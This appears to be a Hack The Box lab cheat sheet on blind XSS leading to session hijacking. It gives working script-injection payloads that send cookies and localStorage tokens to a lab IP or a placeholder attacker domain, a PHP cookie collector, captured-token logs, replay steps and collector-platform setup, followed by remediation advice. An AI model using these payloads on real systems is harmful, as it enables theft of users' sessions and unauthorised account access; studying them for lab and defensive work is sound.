Blind XSS to Session Hijacking — HTB Cheat Sheet
Summary
Blind cross-site scripting is stored XSS that fires inside an interface you never see, most often a support agent or administrator panel that renders attacker-controlled input. Because the execution happens out of band, you confirm it with a callback rather than a visible alert. The reliable Hack The Box chain is to inject a probe that phones home, prove the payload runs, upgrade it to a two-file collector that exfiltrates document.cookie, capture the victim’s session token, then replay that token with a cookie editor to inherit the victim’s authenticated session. This note is the field-ready version of the support.inlanefreight.local ticket walkthrough, generalised so any blind-XSS-to-hijack path can be reproduced from it. It complements Cross-Site Scripting (XSS) - HTB Cheat Sheet, which covers reflected, stored, and DOM contexts more broadly.
[!danger]+ Authorisation Boundary
- Run these procedures only against Hack The Box, intentionally vulnerable labs, or systems you own and are explicitly authorised to test.
- A captured session cookie is live credential material. Treat it as such, use lab-only collector infrastructure, and delete
cookies.txtand any stored tokens when the exercise ends.- Hijacking a real user’s session without authorisation is unauthorised access under laws such as the UK Computer Misuse Act. Keep it in the lab.
- XSS executes inside a browser. It does not by itself give you an operating-system shell on the target.
The Attack Chain
Figure 1: The full out-of-band chain, from ticket injection to cookie replay. Attacker actions on the left, the unseen victim agent on the right.
| Stage | You do | What it proves |
|---|---|---|
| 1. Inject | Drop a callback probe into a stored field an agent will read | The field reaches a privileged renderer |
| 2. Confirm | Catch the out-of-band hit on your listener | Blind XSS executes somewhere you cannot see |
| 3. Collect | Serve a collector that reads document.cookie | You have infrastructure to receive the token |
| 4. Exfiltrate | Agent’s browser sends its cookie to your host | The session token is now in your log |
| 5. Hijack | Load the token with Cookie-Editor and refresh | You are authenticated as the victim |
Conceptual Information
[!info]+ Why It Is Called “Blind”
- Blind means the injection point and the execution point are different surfaces. You submit into a customer ticket, the payload runs later inside the staff console.
- You never see the resulting DOM directly, only the side effect: an inbound request to infrastructure you control.
- This is why detection is out-of-band (OOB). The proof is a network callback, not an on-screen
alert().- Classic sinks: support and contact tickets, admin user lists, log viewers, moderation queues, exported reports, and any “an internal user will review this” workflow.
[!info]+ Why the Cookie Is Enough
- Session cookies are bearer tokens. Whoever presents a valid
session=value is treated as that user until it expires or is revoked.- If the cookie is not marked
HttpOnly, JavaScript can read it viadocument.cookie, which is exactly what blind XSS gives you.- Replaying the token needs no password and bypasses MFA, because MFA is evaluated at login, not on every request.
- See Session hijacking and MITRE ATT&CK T1539 — Steal Web Session Cookie.
[!tip]+ Fast Chain Overview
- Probe with
ncto prove OOB execution before building anything heavy.- Upgrade to
script.js+index.phpso you capture the token, not just a ping.- Use
new Image().srcfor exfiltration so the request is fire-and-forget and does not need a visible element.- Hijack with Cookie-Editor rather than crafting raw requests, because it is faster and survives redirects.
Tools Overview
[!info]+ Netcat Overview
- Minimal TCP listener used as a first, disposable OOB catcher.
- Proves that an injected resource was requested, confirming blind execution.
- Does not return a valid HTTP response, so the victim browser may hang, which is why it is only a first probe.
[!info]+ PHP Built-in Server Overview
php -Sgives a quick, disposable web server with no Apache or Nginx setup.- It can execute
index.php, letting you log captured cookies to a file server-side.- Ideal for a short-lived two-file collector that both serves the payload and records the loot.
[!info]+ Cookie-Editor Overview
- Browser extension for viewing, adding, editing, and deleting cookies for the current site.
- Used to inject the stolen
sessionvalue into your own browser to hijack the session.- Handles the domain, path, and flags for you, which is faster than scripting
Set-Cookieby hand.
[!info]+ Interactsh Overview
- Hosted OOB interaction service that catches DNS, HTTP, and SMTP callbacks.
- Gives a persistent record of every interaction with far less setup than self-hosting
ncorphp -S.- Best when running many blind-injection tests across a large scope at once. See Blind XSS Tool - Interactsh.
[!info]+ Burp Suite Overview
- Burp Collaborator is the commercial equivalent of Interactsh, integrated into the scanner and Repeater.
- Repeater lets you resubmit the injection one controlled change at a time.
- Useful when the ticket form needs authentication, CSRF tokens, or multi-step submission.
Commands and Implementation
1. Confirm Blind XSS with a Simple Listener
Inject a script include that points at a listener you control, then watch for the hit.
"><script src=http://10.10.14.213:9000/TESTING_THIS</script>
nc -lvnp 9000
listening on [any] 9000 ...
connect to [10.10.14.213] from (UNKNOWN) [10.129.203.101] 56202
GET /TESTING_THIS%3C/script HTTP/1.1
Host: 10.10.14.213:9000
User-Agent: HTBXSS/1.0
[!info]+ Command Breakdown
">: Breaks out of the current HTML attribute or tag context so the<script>is parsed as markup.<script src=...>: Loads a remote script, so any render of the ticket triggers a request to your host.nc -lvnp 9000: Listen (-l), verbose (-v), no DNS (-n), on port (-p)9000.- The callback: The inbound
GETfrom10.129.203.101(the victim) proves the payload executed somewhere out of band. This is the blind XSS hit.- Interpretation: confirmation only. The listener proves execution but does not yet give you anything useful. Note the
User-Agent: HTBXSS/1.0and the%3C— the browser URL-encoded the<of your closing tag.
[!warning]+ The Closing-Tag Gotcha
ncdoes not return a valid HTTP response, so<script src>may error and the browser can hang.- The
%3C/scriptin the log shows the parser mangled the closing tag. For reliable execution and clean exfiltration, prefer a real server and anImage()-based payload (below).- Treat this step as a smoke test, then immediately upgrade to the collector.
2. Build the Two-File Cookie Collector
Create index.php to log incoming cookies server-side.
<?php
if (isset($_GET['c'])) {
$list = explode(";", $_GET['c']);
foreach ($list as $key => $value) {
$cookie = urldecode($value);
$file = fopen("cookies.txt", "a+");
fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
fclose($file);
}
}
?>
Create script.js to grab and exfiltrate the cookie from the victim’s browser.
new Image().src='http://10.10.14.213:9200/index.php?c='+document.cookie
[!info]+ Collector Breakdown
$_GET['c']: The cookie string arrives in thecquery parameter set byscript.js.explode(";", ...): Splits multiple cookies so each is logged on its own line.urldecode(...): Reverses the URL encoding the browser applied in transit.fputs(... "a+"): AppendsVictim IP | Cookietocookies.txtso repeat hits accumulate.new Image().src=...: Creates an off-DOM image whose source is your collector plus the cookie. The browser fires the request immediately with no visible element and no user interaction.- Interpretation:
script.jsruns in the victim,index.phprecords the result on your host. Two files, one clean capture.
3. Serve the Collector
sudo php -S 0.0.0.0:9200
[!info]+ Command Breakdown
sudo: Binding low ports or writingcookies.txtin a root-owned path may need elevation. Ports above 1024 usually do not, so dropsudowhere you can.-S 0.0.0.0:9200: Starts the built-in server on all interfaces, port9200, so the HTB VPN interface is reachable.0.0.0.0: Listens on every local interface, includingtun0. Binding to127.0.0.1would make the target unable to reach you.- Keep the shell open. Every callback is printed live and appended to
cookies.txt.
4. Inject the Upgraded Payload and Capture the Cookie
"><script src=http://10.10.14.213:9200/script.js></script>
sudo php -S 0.0.0.0:9200
[Tue Jun 21 00:33:27 2022] PHP 7.4.28 Development Server (http://0.0.0.0:9200) started
[Tue Jun 21 00:33:42 2022] 10.129.203.101:40102 Accepted
[Tue Jun 21 00:33:42 2022] 10.129.203.101:40102 [200]: (null) /script.js
[Tue Jun 21 00:33:43 2022] 10.129.203.101:40104 [500]: GET /index.php?c=session=fcfaf93ab169bc943b92109f0a845d99
[!success]+ What the Log Shows
/script.js: The victim’s browser fetched your exfiltration script. Execution confirmed.GET /index.php?c=session=fcfaf93ab169...: The follow-up request carries the agent’s livesessioncookie. This is the loot.- The “:
index.phpmay error after logging (for example on a missing response), which is harmless — checkcookies.txt, the value is already written.- You now hold
session=fcfaf93ab169bc943b92109f0a845d99, exactly what is needed to impersonate that session.
cat cookies.txt
Victim IP: 10.129.203.101 | Cookie: session=fcfaf93ab169bc943b92109f0a845d99
5. Hijack the Session with Cookie-Editor
[!example]+ Session Replay Steps
- Browse to the target application in your own browser and open Cookie-Editor from the toolbar.
- Find or create the
sessioncookie for the target domain.- Paste the stolen value
fcfaf93ab169bc943b92109f0a845d99into the cookie’s value field and save.- Match the original
Domain,Path(usually/), and flags where the app is strict about them.- Refresh the page. The application now treats you as the victim, dropping you into their authenticated session with no password and no MFA prompt.
[!tip]+ Command-Line Alternative
- If you prefer curl, replay the token directly:
curl -b "session=fcfaf93ab169bc943b92109f0a845d99" http://TARGET/admin/.- Cookie-Editor is usually faster on HTB because it survives client-side redirects and renders the authenticated UI for screenshots.
6. Optional — Hosted OOB Catcher with Interactsh
For large scopes, swap the self-hosted listener for a hosted catcher that keeps a persistent log.
interactsh-client -v
[!info]+ Command Breakdown
- Generates a unique
*.oast.fun(or self-hosted) domain that catches DNS, HTTP, and SMTP callbacks.- Inject with the generated host, for example
"><script src=https://YOURID.oast.fun/x.js></script>.- Every interaction is timestamped and correlated, which beats scrolling
ncoutput when many payloads are in flight.- Burp Collaborator is the equivalent inside Burp Suite. See Blind XSS Tool - Interactsh.
7. PayloadsAllTheThings Payload Variants
The PayloadsAllTheThings XSS Injection README, under Proof of Concept and Data Grabber, is the canonical payload reference for this chain. It hands you the one-liners and the same grabber.php idea, but it is a payload dump, not a walkthrough, so the steps above are how you actually run them. The variants below all map onto stages 1, 2, and 4 of this note.
<!-- Remote-script includes (stage 1/4): pull your collector from an external host -->
"><script src="https://js.rip/[ATTACKER.DOMAIN.TLD]"></script>
"><script src=//[ATTACKER.DOMAIN.TLD]></script>
<script>$.getScript("//[ATTACKER.DOMAIN.TLD]")</script>
<!-- Fire-and-forget image beacon (preferred): no visible element, no interaction -->
<script>new Image().src="http://[ATTACKER.DOMAIN.TLD]/cookie.php?c="+document.cookie;</script>
<!-- localStorage bearer-token theft: use when the session lives in a JWT, not a cookie -->
<script>new Image().src="http://[ATTACKER.DOMAIN.TLD]/cookie.php?c="+localStorage.getItem('access_token');</script>
<!-- Navigation-based exfil (louder, redirects the victim away): fallback only -->
<script>document.location='http://[ATTACKER.DOMAIN.TLD]/grabber.php?c='+document.cookie</script>
<!-- fetch() POST exfil (stealthiest): cookie rides the body, stays out of access logs -->
<script>
fetch('https://[ATTACKER.DOMAIN.TLD]', { method: 'POST', mode: 'no-cors', body: document.cookie });
</script>
[!info]+ Variant Breakdown
- Remote-script includes:
js.rip, protocol-relative//host, and jQuery$.getScript()are three ways to load your collector. Use protocol-relative when the target is HTTPS so the include is not blocked as mixed content.new Image().src: The preferred exfil. Off-DOM, fires instantly, no user interaction, matches stage 4 of this note.localStorage.getItem('access_token'): Many modern apps store a JWT or bearer token inlocalStoragerather than a cookie. Whendocument.cookiecomes back empty because ofHttpOnly, this often still works and the token is just as good for hijacking.document.location='...': Works, but navigates the victim’s browser away from the page, which is noisy and can alert the agent. Treat it as a fallback.fetch(..., {method:'POST', mode:'no-cors', body: document.cookie}): The stealthiest option. The cookie travels in the POST body instead of the URL query string, so it never lands in server access logs.no-corslets the request fire cross-origin without a preflight.- All of these need a collector listening. Point them at the
php -Sserver from step 3, or at one of the platforms below.
[!tip]+ Matching Grabber for the PATT Payloads
- PayloadsAllTheThings ships this minimal grabber, functionally the same as the
index.phpin step 2:<?php $cookie = $_GET['c']; $fp = fopen('cookies.txt', 'a+'); fwrite($fp, 'Cookie:' .$cookie."\r\n"); fclose($fp); ?>
- Serve it with
php -Sas in step 3, or with PATT’s Ruby one-liner:ruby -run -ehttpd . -p8080.- For
fetch()POST exfil, readphp://inputinstead of$_GET['c']because the cookie arrives in the request body.
Blind XSS Collector Platforms
The nc and php -S collectors above are perfect for a single HTB ticket. For anything larger, or when you want screenshots, the rendered DOM, the victim IP, and the referring page captured automatically, use a dedicated blind XSS platform. This is where the tool the question asked about, XSS Hunter Express, fits, along with its successors.
[!warning]+ XSS Hunter Express Is Archived
- The original hosted
xsshunter.comservice shut down in 2023.- The self-hosted xsshunter-express was archived on 22 April 2024 and is read-only. It still runs, but it is built on end-of-life Node 12, so it is not the one to start a fresh setup on.
- The maintained successor is xsshunter-go, a Go rewrite by the same author. For a full-featured PHP option, ezXSS is the current community favourite.
- Recommendation: reach for ezXSS or xsshunter-go for a new self-hosted collector, and keep Interactsh or Burp Collaborator for lightweight OOB confirmation.
| Tool | Type | Screenshots + DOM | Setup weight | Use it when |
|---|---|---|---|---|
nc / php -S | Manual collector | No | Trivial | A single HTB ticket, quick confirm and grab |
| Interactsh | Hosted OOB catcher | No | None (client only) | Confirming execution across many payloads |
| Burp Collaborator | OOB catcher | No | Burp Pro | You already live in Burp |
| ezXSS | Self-hosted platform | Yes | Medium (PHP + MySQL) | Rich reports, screenshots, localStorage, non-HttpOnly cookies |
| xsshunter-go | Self-hosted platform | Yes | Low (single Docker) | Maintained XSS Hunter successor, simplest full platform |
| xsshunter-express | Self-hosted (archived) | Yes | Medium (Docker) | Legacy only, prefer xsshunter-go |
Recommended — ezXSS Setup
ezXSS is a self-hosted PHP platform that captures full-page screenshots, the page DOM, the origin and referrer, the victim IP and user agent, and all non-HttpOnly cookies, presented in a searchable dashboard. It is the most feature-complete self-hosted option in active development.
[!important]+ Prerequisites
- A web server with PHP and a MySQL or MariaDB database, or Docker.
- A domain or subdomain you control pointing at the server, ideally short so payloads stay compact.
- TLS on that domain, because HTTPS targets will refuse an HTTP callback as mixed content.
# Docker path (fastest)
git clone https://github.com/why/ezXSS.git
cd ezXSS
docker compose up -d
# then browse to https://YOURDOMAIN/manage/ and complete the installer
[!info]+ Setup Breakdown
- Clone and start:
docker compose up -dbrings up the app and its database.- Installer: Visit
/manage/on first run to set your admin password and alert email, then delete or lock the installer as prompted.- Manual alternative: Drop the files in your web root, create a MySQL database, set the credentials in
/src/Configuration.php, run the installer at/manage/, then remove it.- DNS + TLS: Point an
Arecord at the box and terminate HTTPS (Let’s Encrypt via a reverse proxy such as Caddy or Traefik is simplest).- After setup, the dashboard generates your payloads. See your fuller notes at Blind XSS Tool - ezXSS.
[!example]+ Using ezXSS
- In the dashboard, copy a generated payload, for example
"><script src=https://YOURDOMAIN/PAYLOADID></script>.- Inject it into the stored field exactly as in step 1 of this note.
- When the agent renders it, ezXSS records a report with the screenshot, DOM, cookies, and
localStorage.- Lift the session cookie or bearer token from the report and hijack with Cookie-Editor as in step 5.
Alternative — xsshunter-go Setup
xsshunter-go is the maintained successor to XSS Hunter Express, deployed as a single Docker container with SQLite by default.
# docker-compose.yaml (minimal)
services:
xsshunter:
image: adamjsturge/xsshunter-go:latest
ports:
- "1449:1449"
environment:
- CONTROL_PANEL_ENABLED=true
- DOMAIN=https://xss.YOURDOMAIN.tld
volumes:
- ./db:/app/db/
- ./screenshots:/app/screenshots/
docker compose up -d
[!info]+ Setup Breakdown
DOMAIN: The hostname baked into generated payloads. Point DNS at the server and terminate TLS in front of it.CONTROL_PANEL_ENABLED: Turns on the admin dashboard where you read reports and copy payloads.- TLS: The README ships a Traefik plus Let’s Encrypt example for automatic HTTPS. A reverse proxy handles certificates cleanly.
- Storage: SQLite by default, or set
DATABASE_URLfor PostgreSQL. Screenshots persist in the mounted volume.- Notifications:
NOTIFYsupports Discord, Slack, and Telegram via shoutrrr, so a fired payload pings you.- Inject and hijack exactly as with ezXSS. Cross-reference Blind XSS Tool - XSS Hunter.
What to Watch Out For
| Symptom | What it means | Next step |
|---|---|---|
| Callback never arrives | Field is not rendered by a privileged user, or egress is blocked | Try other stored fields, wait for scheduled review jobs, confirm your host is VPN-reachable |
nc hit but script.js never loads | nc returned no valid HTTP response, browser aborted | Switch to php -S so a real 200 is returned |
%3C/script in the log | Browser URL-encoded the closing tag | Use new Image().src exfiltration instead of <script src> closing tags |
| Cookie captured but hijack fails | Cookie may be HttpOnly, Secure, path-scoped, or SameSite bound | HttpOnly blocks document.cookie entirely; look for a non-HttpOnly token or a different attack |
document.cookie is empty | The useful cookie is HttpOnly, or none is set on that path | Inspect cookie attributes; blind XSS can still perform actions as the victim even without token theft |
| Hijack works then drops | Server rotated or idle-expired the session | Recapture a fresh token, act quickly |
[!warning]+ HttpOnly Is the Main Blocker
document.cookiecannot read cookies flaggedHttpOnly. An empty capture does not mean XSS failed.- When the session cookie is
HttpOnly, pivot to XSS-driven actions (change email, create an admin, perform a request as the victim) rather than token theft.- Mixed content also bites: an HTTPS target may block an HTTP collector. Use an HTTPS catcher for HTTPS victims.
Troubleshooting
[!failure]+ No Callback At All
- Open your own collector URL from the HTB browser to confirm DNS, routing, and that the listener is on the
tun0-reachable interface.- Confirm the injected field is actually reviewed by staff or a background job, and give scheduled jobs time to run.
- Try a plain
<img src=http://YOU/probe>before a<script src>to separate “reaches the renderer” from “executes script”.
[!failure]+ Script Loads but No Cookie Arrives
- Verify
script.jsusesdocument.cookieand points at the right host and port.- Check the target’s Content-Security-Policy for
connect-src/img-srclimits in the browser console.- The session cookie is almost certainly
HttpOnly. Confirm in devtools and switch to an action-based payload.
[!failure]+ Cookie Replays but Session Is Not Authenticated
- Confirm the cookie name is exact (
session,PHPSESSID,connect.sid, and so on).- Match
DomainandPathprecisely in Cookie-Editor.- Some apps bind the session to a user-agent or IP fingerprint; align your request or accept that theft is mitigated.
Remediation
- Encode on output for the exact context so stored input in the agent view is rendered as text, not markup. This is the root fix.
- Set
HttpOnlyon session cookies sodocument.cookiecannot read them, defeating token exfiltration. - Set
Secureand a strictSameSiteto limit where cookies travel and reduce replay surface. - Bind sessions to context (rotate on privilege change, tie to a fingerprint, enforce idle and absolute timeouts) so a stolen token has a short useful life.
- Deploy a Content-Security-Policy with
script-srcnonces or hashes and nounsafe-inlineto block injected and remote scripts. - Sanitise stored HTML with a maintained allowlist library such as DOMPurify, and do not mutate the result afterwards.
- Restrict outbound egress from staff consoles so exfiltration callbacks cannot leave the network.
- Enable Trusted Types where supported to lock down dangerous DOM sinks in the admin interface.
Evidence and Reporting Checklist
- Record the injection point (URL, method, field) and the account and role that rendered the payload.
- Save the exact injected payload, the collector source, and the raw callback log line.
- Capture
cookies.txt(redacted as policy requires) showing the stolen token and victim IP. - Screenshot the authenticated session after replay to prove impact, not just execution.
- State clearly whether the cookie was
HttpOnlyand how that affected the outcome. - Delete
cookies.txt, stored payloads, and any replayed tokens when the engagement ends.
Lessons Learned
- Confirmation and impact are separate claims. A
nccallback proves blind execution; only a captured, replayed cookie proves session hijack. Report them distinctly. new Image().srcbeats a closing<script>tag for exfiltration, because it is fire-and-forget and avoids the URL-encoding and hang problems seen withnc.php -Sis the sweet spot for a lab collector: it both serves the payload and runsindex.phpto log the loot, with zero Apache setup.HttpOnlyis the single control that most often kills this chain. When token theft fails, pivot to performing actions as the victim instead of stealing the cookie.- Hosted catchers scale. For wide scopes, Interactsh or Burp Collaborator replace a wall of
ncwindows with one correlated, timestamped log.
References
- OWASP — Cross Site Scripting Prevention Cheat Sheet
- OWASP — Session hijacking attack
- PortSwigger — Exploiting cross-site scripting to steal cookies
- MITRE ATT&CK T1539 — Steal Web Session Cookie
- MDN — Set-Cookie: HttpOnly and Secure
- PHP — Built-in web server
- PayloadsAllTheThings — XSS Injection
- ezXSS
- xsshunter-go
- xsshunter-express (archived)
- Interactsh
- Cookie-Editor
- Cross-Site Scripting (XSS) - HTB Cheat Sheet
- Blind XSS Tool - Interactsh
- Blind XSS Tool - ezXSS
- Blind XSS Tool - XSS Hunter